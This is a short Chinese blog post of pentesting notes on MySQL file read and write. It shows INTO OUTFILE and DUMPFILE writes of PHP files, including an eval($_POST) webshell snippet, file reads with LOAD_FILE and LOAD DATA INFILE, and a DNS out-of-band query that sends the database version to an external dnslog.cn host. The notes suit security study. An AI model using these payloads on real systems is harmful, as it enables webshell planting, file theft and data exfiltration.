Mysql读写文件随笔


#当前版本

SELECT VERSION();

在这里插入图片描述

一、查看当前用户权限 显示授权[针对用户]

SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS;
SHOW GRANTS FOR CURRENT_USER();

在这里插入图片描述

二、mysql 写文件

INTO outfile 写完文件后会在文件后加一个\n换行符

select '<?php phpinfo(); ?>' INTO OUTFILE 'D:/Test.php';

在这里插入图片描述
在这里插入图片描述

INTO DUMPFILE <?php @eval($_POST['O8'); ?> 我们在平常的UDF提权中使用dumpfile进行dll文件

···
select ‘<?php phpinfo(); ?>’ INTO DUMPFILE ‘D:/Test.php’;
···
在这里插入图片描述

三、mysql 读文件

LOAD_FILE(file_name)

select LOAD_FILE('D:/Test.php');

在这里插入图片描述

load_file()和load data infile读取文件的方法为:新建一个表,读取文件为字符串形式插入表中,然后读出表中数据。

但是通常情况下有两个前提:

1.在拥有file权限的前提下

2.secure_file_priv不为NULL

show GLOBAL VARIABLES like 'secure_file_priv';

load_file()

CREATE table readFile(cmd text);
INSERT into readFile(cmd) VALUES (LOAD_FILE('D:/Test.php'));
select * from readFile;

在这里插入图片描述

注入过程中,往往会过滤掉load_file()这个函数,但是仍然有load data infile可以使用

load data infile

load data infile 'D:/Test.php' into table readFile;
select * from readFile;

在这里插入图片描述

非远程连接时可以尝试读取 system cat ‘D:/Test.php’ (未复现。。)

mysql禁止导入导出时,尝试OOB带外注入(未复现,mysql版本问题)

select load_file(concat('\\\\',version(),'.p2y52y.dnslog.cn'));

在这里插入图片描述

参考:
https://www.jianshu.com/p/340eedc67a9c
https://www.cnblogs.com/c1e4r/articles/8618692.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值